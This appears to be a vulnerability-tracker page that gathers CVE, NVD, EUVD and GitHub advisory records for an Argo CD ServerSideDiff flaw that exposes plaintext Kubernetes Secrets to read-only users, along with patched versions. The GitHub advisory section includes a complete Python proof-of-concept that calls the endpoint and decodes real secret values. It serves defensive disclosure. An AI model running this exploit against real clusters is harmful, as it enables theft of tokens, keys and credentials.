ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.

Source published

7 May 2026 22:20:39 UTC

Source modified

7 Sep 2026 12:04:55 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.

Source published

2 May 2026 01:20:33 UTC

Source modified

15 Jul 2026 00:55:34 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.

Source published

May 2, 2026, 1:20:33 AM (timezone not stated)

Source modified

Jul 15, 2026, 12:55:34 AM (timezone not stated)

Observed here

1 Nov 2026 07:16:09 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.

Source published

May 7, 2026, 10:20:39 PM (timezone not stated)

Source modified

Sep 7, 2026, 12:04:55 PM (timezone not stated)

Observed here

1 Nov 2026 07:15:10 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.

Source published

7 May 2026 23:16:32 UTC

Source modified

26 Oct 2026 20:10:00 UTC

Observed here

27 Oct 2026 11:12:04 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

In Argo CD 3.2.0 before 3.2.11 and 3.3.0 before 3.3.9, ServerSideDiff allows reading cleartext Kubernetes Secret data.

Source published

2 May 2026 02:16:00 UTC

Source modified

26 Oct 2026 20:10:00 UTC

Observed here

27 Oct 2026 11:12:04 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 9.6 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

### Summary There is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. ### Details Argo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states: ``` // server/application/application.go:3051-3062 responseDiffs = append(responseDiffs, &v1alpha1.ResourceDiff{ TargetState: string(diffRes.PredictedLive), LiveState: string(diffRes.NormalizedLive), }) ``` A user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true. When IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely: ``` if o.ignoreMutationWebhook { predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager) } ``` The raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking. When ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of: `kubectl apply --server-side --dry-run=server --field-manager=argocd-controller ` For extraction to succeed, the Secret's data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response. ### PoC ``` #!/usr/bin/env python3 """ Argo CD ServerSideDiff Secret Extraction PoC Usage: python3 poc.py <host> <token> <app> <project> Example: python3 poc.py argocd.int.<customer>.com eyJhbG... my-app my-project """ import base64 import http.client import json import ssl import struct import sys import urllib.parse from collections import defaultdict def encode_varint(v): out = [] while v > 0x7f: out.append((v & 0x7f) | 0x80) v >>= 7 out.append(v & 0x7f) return bytes(out) def encode_str(field, val): tag = (field << 3) | 2 raw = val.encode() return encode_varint(tag) + encode_varint(len(raw)) + raw def encode_bytes(field, val): tag = (field << 3) | 2 return encode_varint(tag) + encode_varint(len(val)) + val def encode_bool(field, val): tag = (field << 3) | 0 return encode_varint(tag) + encode_varint(1 if val else 0) def decode_varint(data, pos): val, shift = 0, 0 while pos < len(data): b = data[pos]; pos += 1 val |= (b & 0x7f) << shift; shift += 7 if not (b & 0x80): break return val, pos def decode_fields(data): fields = defaultdict(list) pos = 0 while pos < len(data): tag, pos = decode_varint(data, pos) wtype = tag & 0x07 if wtype == 0: val, pos = decode_varint(data, pos) fields[tag >> 3].append(val) elif wtype == 2: length, pos = decode_varint(data, pos) fields[tag >> 3].append(data[pos:pos + length]) pos += length elif wtype == 5: fields[tag >> 3].append(data[pos:pos + 4]); pos += 4 elif wtype == 1: fields[tag >> 3].append(data[pos:pos + 8]); pos += 8 else: break return dict(fields) # -- grpc-web framing -- def grpc_frame(payload): return b"\x00" + struct.pack(">I", len(payload)) + payload def decode_grpc_frames(data): frames, pos = [], 0 while pos + 5 <= len(data): flag = data[pos] length = struct.unpack(">I", data[pos+1:pos+5])[0] pos += 5 frames.append((flag, data[pos:pos+length])) pos += length return frames # -- http helpers -- def make_conn(host): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10) def rest_get(conn, path, token): conn.request("GET", path, headers={ "Authorization": "Bearer " + token, "Accept": "application/json", }) resp = conn.getresponse() body = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status return json.loads(body), None def grpc_post(conn, token, payload): conn.request("POST", "/application.ApplicationService/ServerSideDiff", body=grpc_frame(payload), headers={ "Content-Type": "application/grpc-web+proto", "Accept": "application/grpc-web+proto", "X-Grpc-Web": "1", "Authorization": "Bearer " + token, }) resp = conn.getresponse() raw = resp.read() if resp.status != 200: return None, "HTTP %d" % resp.status frames = decode_grpc_frames(raw) for flag, fdata in frames: if flag == 0: return fdata, None return None, "no data frame in response" # -- main -- def main(): if len(sys.argv) != 5: print("Usage: python3 poc.py <host> <token> <app> <project>") sys.exit(1) host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4] conn = make_conn(host) # step 1: list managed resources for the app, find secrets print("[*] Fetching managed resources for %s/%s ..." % (project, app_name)) data, err = rest_get(conn, "/api/v1/applications/%s/managed-resources" % urllib.parse.quote(app_name), token) if err: print("[-] Failed: %s" % err); sys.exit(1) secrets = [] for r in data.get("items", []): if r.get("kind") != "Secret": continue name = r.get("name", "") ns = r.get("namespace", "") live = r.get("liveState", "") stype = "Opaque" if live and live != "null": try: stype = json.loads(live).get("type", "Opaque") except Exception: pass secrets.append((name, ns, stype, live)) if not secrets: print("[-] No secrets found in managed resources"); sys.exit(0) print("[+] Found %d secrets" % len(secrets)) # step 2: call ServerSideDiff for each secret total_extracted = 0 for sname, sns, stype, live_json in secrets: # build minimal target manifest (no data field) target = {"apiVersion": "v1", "kind": "Secret", "metadata": {"name": sname, "namespace": sns}, "type": stype} # copy required annotations from live state for SA tokens if live_json and live_json != "null": try: live_annots = json.loads(live_json).get("metadata", {}).get("annotations", {}) k8s_annots = {k: v for k, v in live_annots.items() if k.startswith("kubernetes.io/")} if k8s_annots: target["metadata"]["annotations"] = k8s_annots except Exception: pass # for TLS secrets, include required placeholder keys if stype == "kubernetes.io/tls": target["data"] = { "tls.crt": base64.b64encode(b"PLACEHOLDER").decode(), "tls.key": base64.b64encode(b"PLACEHOLDER").decode(), } elif stype == "kubernetes.io/dockerconfigjson": target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()} # encode the grpc request lr = b"" lr += encode_str(2, "Secret") # kind lr += encode_str(3, sns) # namespace lr += encode_str(4, sname) # name if live_json: lr += encode_str(6, live_json) # liveState lr += encode_bool(12, True) # modified query = encode_str(1, app_name) query += encode_str(3, project) query += encode_bytes(4, lr) query += encode_str(5, json.dumps(target)) # reconnect for each call (simple, no pool needed for poc) try: conn = make_conn(host) resp_data, err = grpc_post(conn, token, query) except Exception as e: print(" [!] %s/%s: %s" % (sns, sname, e)) continue if err: print(" [!] %s/%s: %s" % (sns, sname, err)) continue # parse response resp_fields = decode_fields(resp_data) for item_bytes in resp_fields.get(1, []): if not isinstance(item_bytes, bytes): continue ifields = decode_fields(item_bytes) # field 5 = targetState (predictedLive — has real values from etcd) for raw in ifields.get(5, []): if not isinstance(raw, bytes): continue try: obj = json.loads(raw) except Exception: continue if obj.get("kind") != "Secret": continue secret_data = obj.get("data", {}) if not secret_data: continue # check for real (non-masked) values real_keys = {} for k, v in secret_data.items(): if not v: continue if all(c == "+" for c in v): continue # masked by argocd try: decoded = base64.b64decode(v) text = decoded.decode("utf-8", errors="replace") except Exception: continue if all(c == "+" for c in text) and text: continue # masked (base64 of +++...) real_keys[k] = text if real_keys: total_extracted += 1 print("\n [***] %s/%s (%s)" % (sns, sname, stype)) print(" %d/%d keys extracted:" % (len(real_keys), len(secret_data))) for k in sorted(real_keys): v = real_keys[k].replace("\n", "\\n") if len(v) > 120: v = v[:120] + "..." print(" %s: %s" % (k, v)) print("\n[*] Done. %d secrets with real values extracted." % total_extracted) if __name__ == "__main__": main() ``` ### Impact Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.

Source published

7 May 2026 01:56:53 UTC

Source modified

21 Oct 2026 03:11:56 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Publisher rating · CRITICAL

ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction in github.com/argoproj/argo-cd

Source published

25 Jun 2026 18:26:48 UTC

Source modified

8 Jul 2026 08:11:34 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.